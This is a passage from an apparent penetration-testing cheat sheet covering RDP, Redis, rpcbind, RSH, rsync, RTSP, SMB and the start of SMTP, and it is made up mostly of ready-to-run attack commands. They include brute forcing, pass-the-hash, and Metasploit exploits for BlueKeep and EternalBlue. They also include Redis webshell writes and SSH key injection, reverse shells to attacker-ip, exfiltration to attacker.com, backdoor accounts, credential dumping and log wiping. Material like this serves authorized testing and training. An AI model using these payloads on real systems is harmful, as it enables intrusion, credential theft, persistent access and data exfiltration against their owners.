# Through RDP login attempts
# RDP returns different errors for:
# - Valid user, wrong password
# - Invalid user

# Using rdp_check (C# tool)
rdp_check.exe target.com users.txt

# Using crowbar
crowbar -b rdp -s target.com/32 -u users.txt -C passwords.txt

# Check for common usernames
Administrator
admin
user
guest
```

Session Enumeration

You can enumerate active RDP sessions to identify logged-in users and their session states.

```
# List active sessions (if you have access)
qwinsta /server:target.com

# Query user sessions
query user /server:target.com

# Session information
quser /server:target.com
```

Attack Vectors

Default and Weak Credentials

RDP installations often retain default or weak credentials for system accounts.

```
# Common credentials
Administrator:<blank>
Administrator:admin
Administrator:password
Administrator:Password123
admin:admin
user:user

# Try connection
xfreerdp /u:Administrator /p:password /v:target.com
```

Brute Force Attack

Brute forcing RDP credentials requires specialized tools due to the protocol's complexity.

Using Crowbar

```
crowbar -b rdp -s target.com/32 -u administrator -C passwords.txt
```

Using Ncrack

```
ncrack -vv --user administrator -P passwords.txt rdp://target.com
```

Using Hydra

```
hydra -t 1 -V -f -l administrator -P passwords.txt rdp://target.com
```

Using Metasploit

```
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS target.com
run
```

Pass-the-Hash

Use NTLM hashes to authenticate to RDP without knowing plaintext passwords.

```
# Using xfreerdp with NTLM hash
xfreerdp /u:administrator /pth:NTHASH /v:target.com /cert:ignore

# Using Mimikatz (from compromised machine)
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:"mstsc /v:target.com"
```

BlueKeep (CVE-2019-0708)

Exploit the BlueKeep vulnerability for remote code execution.

```
# Affects Windows 7, Server 2008, XP, Server 2003
# RCE vulnerability in RDP

# Using Metasploit
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS target.com
run

# If vulnerable, exploit
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS target.com
set TARGET 2  # Windows 7 x64
exploit
```

RDP Man-in-the-Middle

Intercept RDP traffic to capture credentials and sensitive data.

```
# Using Seth (RDP MITM)
# Requires network access between client and server

# Step 1: Setup MITM
seth target-client-ip target-server-ip interface

# Step 2: Capture credentials
# Seth will show credentials when client connects
```

```
# Step 3: Use stolen credentials
xfreerdp /u:captured_user /p:captured_pass /v:target.com
```

Sticky Keys Backdoor

Create persistent backdoor access using Windows accessibility features.

```
# If you have access to system

# Replace sethc.exe with cmd.exe
# At login screen, press Shift 5 times -> cmd.exe opens as SYSTEM

# Backup original
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe

# Replace with cmd
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

# Now at RDP login, press Shift 5 times
# Command prompt opens as NT AUTHORITY\SYSTEM
```

Post-Exploitation

Credential Harvesting

Extract credentials and authentication data from compromised RDP systems.

```
# Using Mimikatz
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

# Dump SAM
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system

# Extract hashes
impacket-secretsdump -sam sam -system system LOCAL

# Cached credentials
mimikatz.exe
privilege::debug
lsadump::cache
```

Persistence

Create persistent backdoor access to compromised RDP systems.

```
# Create backdoor user
net user backdoor P@ssw0rd123! /add
net localgroup administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add

# Registry Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ
/d "C:\Windows\Temp\backdoor.exe"

# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru
SYSTEM

# Sticky keys backdoor (persistent)
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
```

Lateral Movement

Use compromised RDP access for lateral movement across the network.

```
# RDP to other machines
mstsc /v:another-host.com

# Pass-the-Hash to other systems
xfreerdp /u:administrator /pth:HASH /v:another-host.com

# Use PSExec with captured credentials
psexec \\another-host.com -u username -p password cmd

# WMI lateral movement
wmic /node:another-host.com /user:username /password:password process call create
"cmd.exe"
```

Data Exfiltration

Extract sensitive data from compromised RDP systems.

```
# Compress sensitive data
Compress-Archive -Path C:\Users\ -DestinationPath C:\Temp\exfil.zip
```

```
# Transfer via RDP clipboard (if enabled)
# Copy file in RDP session, paste on local machine

# Transfer via shared drive
# If RDP was connected with /drives option
copy C:\sensitive\data.txt \\tsclient\c\exfil\

# Upload to attacker server
Invoke-WebRequest -Uri http://attacker.com/upload -Method POST -InFile C:\Temp\data.zip

# Base64 encode and exfiltrate
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\data.zip"))
Invoke-WebRequest -Uri http://attacker.com/collect -Method POST -Body $data
```

Privilege Escalation

Escalate privileges on compromised RDP systems.

```
# Check privileges
whoami /all
whoami /priv

# Check for unquoted service paths
wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v """

# AlwaysInstallElevated check
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

# Exploit if enabled
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f msi >
installer.msi
msiexec /quiet /qn /i installer.msi
```

Common RDP Issues

Issue	Description	Exploitation
No NLA	Network Level Authentication disabled	Easier brute force
Weak encryption	Low encryption settings	MITM possible

Issue	Description	Exploitation
No account lockout	Unlimited login attempts	Brute force friendly
Certificate warnings	Self-signed or invalid cert	MITM attacks
Clipboard enabled	Clipboard sharing on	Data exfiltration
Drive sharing	Local drives shared	File transfer

CVE Exploits

CVE	Name	Affected Versions	Impact
CVE-2019-0708	BlueKeep	Win7, 2008, XP	RCE (wormable)
CVE-2019-1181	RD Gateway	Server 2012-2019	RCE
CVE-2019-1182	RD Gateway	Server 2012-2019	RCE
CVE-2020-0609	RD Gateway	Server 2012-2019	RCE
CVE-2020-0610	RD Gateway	Server 2012-2019	RCE
CVE-2012-0002	MS12-020	Server 2003-2008	DoS

Useful Tools

Tool	Description	Primary Use Case
xfreerdp	Linux RDP client	Remote connection
rdesktop	Linux RDP client	Basic connection

Tool	Description	Primary Use Case
mstsc	Windows RDP client	Native connection
crowbar	Brute force tool	Credential attacks
hydra	Password cracker	Brute forcing
Metasploit	Exploitation framework	CVE exploitation
Mimikatz	Credential dumper	Post-exploitation
Seth	RDP MITM tool	Traffic interception

Security Misconfigurations

- ❌ No Network Level Authentication (NLA)
- ❌ Weak or default passwords
- ❌ No account lockout policy
- ❌ Exposed to internet
- ❌ Weak encryption settings
- ❌ No certificate validation
- ❌ Clipboard sharing enabled
- ❌ Drive redirection enabled
- ❌ Outdated Windows version
- ❌ No multi-factor authentication
- ❌ Unnecessary users with RDP access
- ❌ No logging or monitoring

13.) Redis

Default Port: 6379

Redis, an open-source tool licensed under BSD, functions as an in-memory data structure store, renowned for its key-value storage system and support for diverse data types. It serves multiple roles such as a database, caching layer, and message broker. Although it typically communicates via a simple, plaintext protocol, it's important to emphasize its ability to secure communications with SSL/TLS encryption.

Granting unauthenticated access to Redis or utilizing common credentials can pose significant security risks, potentially exposing sensitive data and transactions to unauthorized users.

Connect

Connect Using redis-cli Command

redis-cli -h <hostname> -p <port-number> --user <username> -a <password>

#port number is optional
#username is optional
#password is optional

URL

The Redis connection URL is a line containing all the information necessary for an application to connect to a Redis database. A typical format is as follows:

redis://:<password>@<hostname>:<port>

Recon

Service Detection with Nmap

Use Nmap to detect Redis services and identify server capabilities.

nmap -p 6379 target.com

Banner Grabbing

Connect to Redis services to gather version and service information.

Using netcat

nc -nv target.com 6379

Using nmap

nmap -p 6379 -sV target.com

Enumeration

Redis Server Assessment

Use specialized tools for Redis server enumeration and vulnerability assessment.

use auxiliary/scanner/redis/redis_server
msf auxiliary(scanner/redis/redis_server) > set rhosts target.com
msf auxiliary(scanner/redis/redis_server) > exploit

Attack Vectors

Passwordless Authentication

Redis allows users to connect to a server without needing a specific identity by utilizing a passwordless login feature. This method is commonly employed for accessing or downloading public files.

redis-cli -h target.com

Default and Weak Credentials

Redis installations often retain default or weak credentials for system accounts.

redis-cli -h target.com --user <username> -a <password>

 # Common credentials to try:
 # admin:admin
 # administrator:administrator
 # root:root
 # user:user
 # test:test
 # redis:redis

Brute Force Attack

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system. Tools like Hydra are designed for cracking into networks and can be used on services like Redis.

Using Hydra

hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] redis://target.com

Using Nmap

```
nmap -p 6379 --script redis-brute target.com
```

Using Metasploit

```
use auxiliary/scanner/redis/redis_login
msf auxiliary(scanner/redis/redis_login) > set rhosts target.com
msf auxiliary(scanner/redis/redis_login) > set user_file /path/to/user.txt
msf auxiliary(scanner/redis/redis_login) > set pass_file /path/to/pass.txt
msf auxiliary(scanner/redis/redis_login) > set stop_on_success true
msf auxiliary(scanner/redis/redis_login) > exploit
```

Post-Exploitation

Webshell Upload via Redis

Upload webshells to web directories using Redis file write capabilities.

```
# Method 1: PHP webshell
redis-cli -h target.com
> flushall
> set shell '<?php system($_REQUEST["cmd"]); ?>'
> config set dbfilename shell.php
> config set dir /var/www/html
> save

# Access: http://target.com/shell.php?cmd=whoami

# Method 2: ASP.NET webshell
> set shell '<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics"
%><%Process.Start(Request["cmd"]);%>'
> config set dbfilename shell.aspx
> config set dir C:\\inetpub\\wwwroot
> save

# Method 3: JSP webshell
> set shell '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
> config set dbfilename shell.jsp
> config set dir /var/www/html
> save
```

SSH Key Injection

Inject SSH public keys into authorized_keys files for persistent access.

```
# Generate SSH key
ssh-keygen -t rsa -f redis_key

# Prepare key with newlines
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > key.txt

# Inject into authorized_keys
redis-cli -h target.com flushall
cat key.txt | redis-cli -h target.com -x set ssh_key
redis-cli -h target.com config set dbfilename authorized_keys
redis-cli -h target.com config set dir /root/.ssh
redis-cli -h target.com save

# Alternative paths
/home/redis/.ssh/authorized_keys
/home/ubuntu/.ssh/authorized_keys
/var/lib/redis/.ssh/authorized_keys

# Connect via SSH
ssh -i redis_key root@target.com
```

Cron Job Persistence

Create persistent backdoor access using cron job injection.

```
# Create reverse shell cron job
redis-cli -h target.com
> flushall
> set cron "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker-ip/4444 0>&1\n\n"
> config set dbfilename root
> config set dir /var/spool/cron/crontabs
> save

# Alternative cron paths
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/redis_backdoor
```

Loading Malicious Module

Load malicious Redis modules for command execution capabilities.

```
# Redis modules allow custom commands
# Compile malicious module with system() function
```

```
# Load module
redis-cli -h target.com
> MODULE LOAD /path/to/evil.so

# Execute custom command
> evil.exec "whoami"
> evil.exec "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"
```

Data Exfiltration

Extract sensitive data from Redis databases.

```
# Dump all keys and values
redis-cli -h target.com --scan > keys.txt

# Get all values
while read key; do
  echo "Key: $key"
  redis-cli -h target.com GET "$key"
done < keys.txt

# Export specific data types
redis-cli -h target.com --scan --pattern "user:*"
redis-cli -h target.com --scan --pattern "session:*"

# Full database dump
redis-cli -h target.com --rdb dump.rdb

# Bulk export
redis-cli -h target.com KEYS "*" | while read key; do
  redis-cli -h target.com DUMP "$key" > "${key}.dump"
done
```

Password Hash Extraction

Extract and manipulate Redis authentication credentials.

```
# Redis password (requirepass)
redis-cli -h target.com
> CONFIG GET requirepass

# If requirepass is set, you need to authenticate
# But if you have access, you can change it
```

> CONFIG SET requirepass "newpassword"

 # Or remove password
> CONFIG SET requirepass ""

Reverse Shell via Lua Scripting

Execute system commands using Redis Lua scripting capabilities.

 # If Lua scripting is enabled
redis-cli -h target.com

 # Execute Lua script
> EVAL "return os.execute('whoami')" 0

 # Reverse shell
> EVAL "return os.execute('bash -i >& /dev/tcp/attacker-ip/4444 0>&1')" 0

 # Alternative with redis.call
> EVAL "redis.call('SET','shell','test'); return os.execute('id')" 0

Master-Slave Replication Abuse

Exploit Redis replication to load malicious modules on target systems.

 # If you can configure replication
 # Point target to attacker's rogue Redis master

 # On attacker machine, run rogue Redis server
 # Configure it to send malicious module

 # On target
redis-cli -h target.com
> SLAVEOF attacker-ip 6379
> MODULE LOAD /path/to/evil.so

 # Rogue master sends malicious module
 # Target loads and executes it

Common Redis Commands

Command	Description	Usage
SET	Set key value	SET key value
GET	Get key value	GET key
KEYS	List keys	KEYS *
DEL	Delete key	DEL key
FLUSHALL	Delete all keys	FLUSHALL
CONFIG GET	Get config	CONFIG GET *
CONFIG SET	Set config	CONFIG SET dir /tmp
SAVE	Save to disk	SAVE
INFO	Server info	INFO
CLIENT LIST	List clients	CLIENT LIST
SLAVEOF	Set replication	SLAVEOF host port
MODULE LOAD	Load module	MODULE LOAD /path/to/module.so

Redis Persistence Methods

Method	File	Command	Use Case
RDB	dump.rdb	SAVE, BGSAVE	Point-in-time snapshot

Method	File	Command	Use Case
AOF	appendonly.aof	BGREWRITEAOF	Append-only log

Useful Tools

Tool	Description	Primary Use Case
redis-cli	Redis client	Direct interaction
redis-rogue-server	Rogue Redis server	Module loading attacks
RedisModules-ExecuteCommand	RCE module	Command execution
redis-dump	Backup tool	Data extraction
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ No authentication (no requirepass)
- ❌ Weak password
- ❌ Exposed to internet (bind 0.0.0.0)
- ❌ Protected mode disabled
- ❌ CONFIG command accessible
- ❌ Dangerous commands not renamed
- ❌ Lua scripting enabled
- ❌ Module loading allowed
- ❌ No SSL/TLS encryption
- ❌ Writable directories accessible
- ❌ No firewall restrictions
- ❌ Default port (6379) exposed

14.)Rpcbind

- `Default Port: 111`
- **rpcbind** is used by **RPC (Remote Procedure Call)** services. An RPC service is a server-based service that fulfills remote procedure calls. `rpcbind` is used to determine which services can respond to incoming requests to perform the specified service.

Connect

- Confirming that the rpcbind service runs on a target machine is usually the first step.

```
nc -z -v -u <target-ip> 111
```

Recon

- When connected to a machine rpcbind, you can use the `rpcinfo` tool to learn the details of rpcbind service.

```
rpcinfo -p <target-ip>
```

Enumeration

- You can run the `rpcenum` script to determine the rpc service on the target and collect information. You can use the -v flag for more details.

```
rpcenum -v <target-ip>
```

Attack Vectors

- There are various rpcbind modules in Metasploit. For example, you can use the following Metasploit commands for the `rpcbind_cgi_mainenv` vulnerability

```
msfconsole
use auxiliary/gather/rpcbind_cgi_mainenv
set RHOST <target-ip>
run
```

Post-Exploitation

RPC Dictionary Attack

- If you successfully exploited vulnerabilities and obtained a username and password, you can create an RPC bridge as follows using `rpcclient`

```
rpcclient -U "username%password" <target-ip>
```

Service Abuse

- If a certain RPC service created a vulnerability on the target machine, you can abuse this service to influence behaviors on the

target system or hinder its proper operation. For example, you can stop the following RPC service:

- `rpcclient -U "username%password" <target-ip> -c 'stop service_name'`

15.) RSH Pentesting

Default Port: 514

RSH (Remote Shell), is a protocol that allows users to execute shell commands on a remote machine. In this article, we will examine the pentesting techniques for RSH under the following categories: Connect, Recon, Enumeration, Attack Vectors, and Post-Exploitation.

Connect

Connecting to an RSH Service

You can connect to an RSH service using the rsh command. For example, on Linux, you can use the following command:

rsh <remote-server-ip>

This command allows you to connect to a specific remote server running the RSH service.

Executing Commands

rsh <remote-server-ip> -l <username> <command>

rsh 192.168.1.10 -l user ls -la

This command logs into the remote server with the specified username and runs the ls -la command.

Recon

Identifying an RSH Service

You can use Nmap to check if an RSH service is running on a specific host:

nmap -p 514 X.X.X.X

This command checks if there is a service running on port 514 of the specified IP address, which is commonly used by RSH.

Banner Grabbing

You can use Netcat or a similar tool to perform banner grabbing and retrieve information about the RSH service:

nc -nv X.X.X.X 514

This command collects banner information from the service running on port 514 of the given IP address.

Enumeration

Collecting System Information

Once connected via RSH, you can collect system information by executing various commands. For example:

```
rsh <remote-server-ip> -l <username> uname -a
rsh <remote-server-ip> -l <username> cat /etc/passwd
```

These commands retrieve the system's kernel version and list the contents of the passwd file.

Attack Vectors

Exploiting Weak Authentication

Check for weak authentication mechanisms. RSH often relies on the .rhosts file for authentication, which can be easily exploited if not properly configured.

Brute Force Attacks

You can perform brute-force attacks to guess weak passwords using tools like hydra:

```
hydra -l <username> -P /path/to/passwords.txt <target_ip> rsh
```

This command attempts to brute-force the specified RSH server.

Exploiting Misconfigurations

Look for misconfigured .rhosts files that allow unauthorized access. For example, a .rhosts file with the following entry can be exploited:

```
+ +
```

This entry allows any user from any host to log in without a password.

Post-Exploitation

Privilege Escalation

After gaining access, attempt to escalate privileges to a higher-level account. One common method is to search for SUID binaries:

```
rsh <remote-server-ip> -l <username> find / -perm -4000 -type f 2>/dev/null
```

This command lists all SUID binaries, which could potentially be exploited for privilege escalation.

Data Exfiltration

Once you have access, you can exfiltrate data from the remote machine. For example, you can copy files using the rcp (remote copy) command:

rcp <remote-server-ip>:<remote-file-path> <local-file-path>

Persistent Access

To maintain persistent access, you can add your SSH key to the ~/.ssh/authorized_keys file or modify the .rhosts file to allow your host:

echo "attacker-ip attacker-user" >> ~/.rhosts

This entry grants login permissions to the specified user on the attacker's IP address.

Covering Tracks

It's crucial to cover your tracks to avoid detection. You can delete log entries related to your activities:

rsh <remote-server-ip> -l <username> echo "" > /var/log/auth.log
rsh <remote-server-ip> -l <username> history -c

These commands clear the authentication log and command history.

This structure provides a comprehensive overview of pentesting activities directed towards RSH services. Always ensure you operate within ethical and legal boundaries while conducting such tests and have the appropriate authorization.

16.) Rsync

Default Port: 873

Connect

To initiate a connection with an rsync server, use the rsync command followed by the rsync URL.

The URL format is `[rsync://][user@]host[:port]/module.``

rsync rsync://user@target_host/

Enumeration

Identifying an Rsync Server

You can use Nmap to check if there's an Rsync server on a target host like this:

nmap -p 873 X.X.X.X

Banner Grabbing

You can use Netcat to find out what service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

nc -nv X.X.X.X 873

 # Expected output format
@RSYNCD: version

Enumerate Modules

Enumeration is crucial in understanding the structure of the target rsync module and finding misconfigurations or sensitive information.

Using nmap

nmap -sV --script "rsync-list-modules" -p 873 target_host

Using Metasploit

msf> use auxiliary/scanner/rsync/modules_list

Enumerate Shared Folders

Rsync modules represent directory shares and may be protected with a password. To list these modules:

rsync target_host::

rsync -av --list-only rsync://target_host/module_name

Attack Vectors

Misconfigured Modules

Modules without proper authentication can be accessed by unauthorized users. This vulnerability allows attackers to read, modify, or delete sensitive data.

If a module is writable, and you have determined its path through enumeration, you can upload malicious files, potentially leading to remote command execution or pivoting into the network.

Outdated Rsync Version

Old versions of rsync may contain vulnerabilities that can be exploited. Use tools like nmap with version detection to identify if the target is running an outdated rsync version.

nmap -sV --script=rsync-list-modules target_host

Post-Exploitation

Data Exfiltration

rsync -avz target_host::module_name /local/directory/

Gain Persistent Access

rsync -av home_user/.ssh/ rsync://user@target_host/home_user/.ssh

17.) RTSP Pentesting

Default Port: 554

RTSP (Real-Time Streaming Protocol) is a network protocol used to control multimedia streams such as audio and video. RTSP is commonly used for controlling live streams in devices like IP cameras and media servers.

Connect

Connecting to an RTSP Service

Various tools can be used to connect to an RTSP service. For example, **VLC Media Player** or **FFmpeg** are commonly used.

- Open **VLC Media Player**.
- From the Media menu, select Open Network Stream.
- Enter the RTSP URL in the following format:

rtsp://<username>:<password>@<IP-address>:554/<path>

ffmpeg -i rtsp://<username>:<password>@<IP-address>:554/<path>

Capturing RTSP Streams

To capture an RTSP stream, tools like **Wireshark** can be used to monitor the network traffic. You can filter RTSP traffic on port 554 in Wireshark using this filter:

tcp.port == 554

Recon

Identifying an RTSP Service

You can use **Nmap** to identify an RTSP service running on a target. To discover services running on port 554, use the following command:

nmap -p 554 X.X.X.X

This command checks if there is an RTSP service running on the target device.

Banner Grabbing

Netcat or **Telnet** can be used to grab banners from the RTSP service, which can reveal important information about the service:

```
nc -nv X.X.X.X 554
OPTIONS rtsp://X.X.X.X/
```

These commands help retrieve information about the supported commands and potential vulnerabilities.

Enumeration

Enumerating RTSP Capabilities

Once connected to the RTSP service, you can use supported commands to learn about the media files and capabilities. For example, the **DESCRIBE** command helps retrieve information about the available streams:

```
OPTIONS rtsp://<IP-address>:554/
DESCRIBE rtsp://<IP-address>:554/<path>
```

This command reveals details such as media file formats, codecs, and resolutions available in the stream.

Attack Vectors

Credential Brute-Forcing

Brute-forcing login credentials of an RTSP service can be done with tools like **Hydra**:

```
hydra -l <username> -P /path/to/passwords.txt <IP-address> rtsp
```

This command performs a brute-force attack against the RTSP service to find weak credentials.

Exploiting Misconfigurations

RTSP services may be misconfigured, allowing access without authentication. If such a misconfiguration is found, access to streams can be gained directly:

```
ffmpeg -i rtsp://<IP-address>:554/<path>
```

If no authentication is required, the stream can be accessed and data can be extracted easily.

Unauthorized Stream Access

Some RTSP servers may allow unauthorized users to access live streams due to poor configuration. Once such a vulnerability is identified, you can use a media player or FFmpeg to access the live stream without credentials.

Post-Exploitation

Capturing and Saving Media Streams

Once connected to the RTSP service, media streams can be captured and saved locally. To save an RTSP stream to a file using **FFmpeg**, use this command:

ffmpeg -i rtsp://<username>:<password>@<IP-address>:554/<path> -c copy output.mp4

This command saves the RTSP stream to output.mp4.

Persistent Access

For persistent access, the configuration files or authentication mechanisms of the IP camera or media server can be altered. By modifying configurations, you could potentially maintain continuous access to the RTSP stream.

Covering Tracks

Clearing log files and command history is crucial in post-exploitation. If logs are being kept by the server, they can be cleared using appropriate commands:

rsh <remote-server-ip> -l <username> echo "" > /var/log/rtsp.log
rsh <remote-server-ip> -l <username> history -c

These commands clear the RTSP log and wipe the shell command history, helping to cover tracks.

18.) SMB (Server Message Block)

Default Port: 139, 445

SMB (Server Message Block), also known as CIFS (Common Internet File System), is a network protocol that allows for file sharing, network browsing, printing services, and inter-process communication over a network.

The SMB protocol provides you with the ability to access resources from a server.

Connect

In order to initiate the process, it's imperative to establish a connection to the Server Message Block (SMB) server.

smbclient -L //target-ip

Recon

Service Detection with Nmap

Use Nmap to detect SMB services and identify server capabilities.

nmap -p 139,445 target.com

Banner Grabbing

Connect to SMB services to gather version and service information.

 # Nmap to discover SMB services
nmap -p 445 --open -sV target.com

 # Nmap script for SMB version
nmap --script smb-protocols -p 445 target.com

Enumeration

Use various tools for detailed SMB enumeration and information gathering.

Share Enumeration

Discover and enumerate SMB shares on target systems.

Using smbclient

 # List shares anonymously
smbclient -L //target.com -U anonymous

 # List shares with credentials

```
smbclient -L //target.com -U username%password

# Connect to specific share
smbclient //target.com/sharename -U username%password
```

Using smbmap

```
# Basic share enumeration
smbmap -H target.com

# With credentials
smbmap -H target.com -u username -p password

# Recursive enumeration
smbmap -H target.com -u username -p password -r
```

User and Group Enumeration

Enumerate users, groups, and domain information from SMB services.

Using enum4linux

```
# Full enumeration
enum4linux -a target.com

# User enumeration only
enum4linux -U target.com

# Group enumeration only
enum4linux -G target.com

# Password policy
enum4linux -P target.com
```

Using nmap

```
# Enumerate shares and users
nmap -p 445 --script=smb-enum-shares,smb-enum-users target.com

# Enumerate groups and domains
nmap -p 445 --script=smb-enum-groups,smb-enum-domains target.com

# Security settings
```

```
nmap -p 445 --script=smb-security-mode target.com
```

Attack Vectors

Exploit various SMB vulnerabilities and misconfigurations for unauthorized access.

SMB Null Session

A Null Session refers to an unauthenticated connection to an SMB server, providing the capability to gather significant information. Exploitation typically involves SMB connections over TCP ports 445 and 139.

```
# Using rpcclient
rpcclient -U "" target.com

# Using smbclient
smbclient -L //target.com -N

# Using smbmap
smbmap -H target.com -u "" -p ""
```

SMB Signing

SMB signing, if not enabled, can be exploited, potentially allowing an attacker to conduct a man-in-the-middle attack.

```
# Check SMB signing status
nmap --script smb-security-mode.nse -p445 target.com

# Using smbclient
smbclient -L //target.com -U username%password --option='client signing=off'
```

Brute Force Attack

Brute force SMB credentials using various tools and techniques.

Using Hydra

```
# Brute force SMB credentials
hydra -l administrator -P passwords.txt smb://target.com

# With username list
hydra -L users.txt -P passwords.txt smb://target.com
```

Using Nmap

 # SMB brute force
nmap -p 445 --script smb-brute target.com

 # With custom credentials
nmap -p 445 --script smb-brute --script-args userdb=users.txt,passdb=passwords.txt target.com

Using Metasploit

use auxiliary/scanner/smb/smb_login
set RHOSTS target.com
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set STOP_ON_SUCCESS true
exploit

CVE Exploitation

Exploit known SMB vulnerabilities for remote code execution.

MS08-067 (Netapi)

use exploit/windows/smb/ms08_067_netapi
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit

MS17-010 (EternalBlue)

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit

SMBGhost (CVE-2020-0796)

use exploit/windows/smb/cve_2020_0796_smbghost
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit

Post-Exploitation

Extract sensitive data and establish persistent access after successful SMB exploitation.

Credential Harvesting

Extract credentials and authentication data from compromised SMB systems.

Hash Dumping

```
# Using Metasploit
use post/windows/gather/smart_hashdump
exploit

# Using Mimikatz (if you have access)
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

# Using secretsdump
secretsdump.py domain/user:password@target.com
```

SAM Database Extraction

```
# Using Metasploit
use post/windows/gather/sam_hashdump
exploit

# Manual extraction
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system
```

Privilege Escalation

Escalate privileges on compromised SMB systems.

```
# Using Meterpreter
getsystem

# Using Mimikatz
mimikatz.exe
privilege::debug
token::elevate

# Using PSExec
```

psexec.exe -s cmd.exe

Data Exfiltration

Extract sensitive data from SMB shares and compromised systems.

Share Access

```
# Using smbclient
smbclient //target.com/sharename -U username%password
> get sensitive_file.txt
> mget *.txt

# Using smbget
smbget -R smb://target.com/sharename/ -U username%password

# Using smbmap
smbmap -H target.com -u username -p password -d . -R sharename
```

File Search

```
# Using smbclient
smbclient //target.com/sharename -U username%password
> ls
> cd sensitive_folder
> get *.pdf
> get *.docx
```

Persistence

Create persistent backdoor access to compromised SMB systems.

```
# Create backdoor user
net user backdoor P@ssw0rd123! /add
net localgroup administrators backdoor /add

# Registry persistence
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ
/d "C:\Windows\Temp\backdoor.exe"

# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru
SYSTEM
```

Lateral Movement

Use compromised SMB access for lateral movement across the network.

```
# SMB to other machines
smbclient //another-host.com/sharename -U username%password

# Pass-the-Hash
pth-winexe -U domain/username%hash //another-host.com cmd

# WMI lateral movement
wmic /node:another-host.com /user:username /password:password process call create
"cmd.exe"
```

Common SMB Commands

Command	Description	Usage
smbclient	Connect to an SMB/CIFS server	smbclient //server/share
smbget	Download files from an SMB/CIFS server	smbget smb://server/share/file
smbpasswd	Change a user's SMB password	smbpasswd -r server -U username
smbstatus	Display information about SMB connections	smbstatus
smbtree	List SMB/CIFS shares on a network	smbtree
mount -t cifs	Mount an SMB/CIFS share	mount -t cifs //server/share /mnt/point
umount	Unmount an SMB/CIFS share	umount /mnt/point

19.) SMTP (Simple Mail Transfer Protocol)

Default Ports: 25 (SMTP), 465 (SMTPS), 587 (Submission)

Simple Mail Transfer Protocol (SMTP) is an internet standard communication protocol for electronic mail transmission. SMTP is a text-based protocol where one or more recipients of a message are specified, and then the message text is transferred. It operates on a push model, where the sending mail server pushes messages to receiving mail servers. SMTP is crucial for email communication infrastructure and can be exploited for phishing, spam, and information disclosure.

Connect

Using Telnet

```
# Connect to SMTP server
telnet target.com 25

# Basic SMTP conversation
EHLO attacker.com
MAIL FROM:<sender@attacker.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Test message
.
QUIT
```

Using netcat

```
# Connect with netcat
nc target.com 25

# With SSL (if supported)
openssl s_client -connect target.com:465 -crlf -quiet
```

Using swaks

```
# Send test email
swaks --to victim@target.com --from sender@attacker.com --server target.com

# With authentication
swaks --to victim@target.com --from user@target.com \
  --auth-user user@target.com --auth-password password \
  --server target.com
```

```
# With attachment
swaks --to victim@target.com --from sender@attacker.com \
  --attach /path/to/file.pdf \
  --server target.com
```

Using sendemail

```
# Send email
sendemail -f sender@attacker.com -t victim@target.com \
  -u "Subject" -m "Message body" -s target.com:25

# With authentication
sendemail -f user@target.com -t victim@target.com \
  -u "Subject" -m "Message" \
  -s target.com:587 \
  -xu user@target.com -xp password
```

Recon

Service Detection with Nmap

Use Nmap to detect SMTP services and identify server capabilities.

```
nmap -p 25,465,587 target.com
```

Banner Grabbing

Connect to SMTP services to gather version and service information.

Using netcat

```
# Using netcat
nc target.com 25

# Get banner with EHLO
echo "EHLO test" | nc target.com 25
```

Using telnet

```
# Using telnet
telnet target.com 25
```

Using nmap

```
# Using nmap
nmap -p 25 -sV target.com
```

MX Record Discovery

DNS MX records identify the mail servers responsible for handling email for a domain.

```
# Find mail servers for domain
dig +short MX target.com
nslookup -type=MX target.com
host -t MX target.com

# Get all MX records
dig MX target.com

# Check SPF record
dig +short TXT target.com | grep "v=spf1"

# Check DMARC record
dig +short TXT _dmarc.target.com
```

Enumeration

SMTP Server Assessment

Use specialized tools for SMTP server enumeration and vulnerability assessment.

```
# Enumerate supported SMTP commands
nmap -p 25 --script smtp-commands target.com

# Test for user enumeration via VRFY/EXPN
nmap -p 25 --script smtp-enum-users target.com

# Extract NTLM authentication details
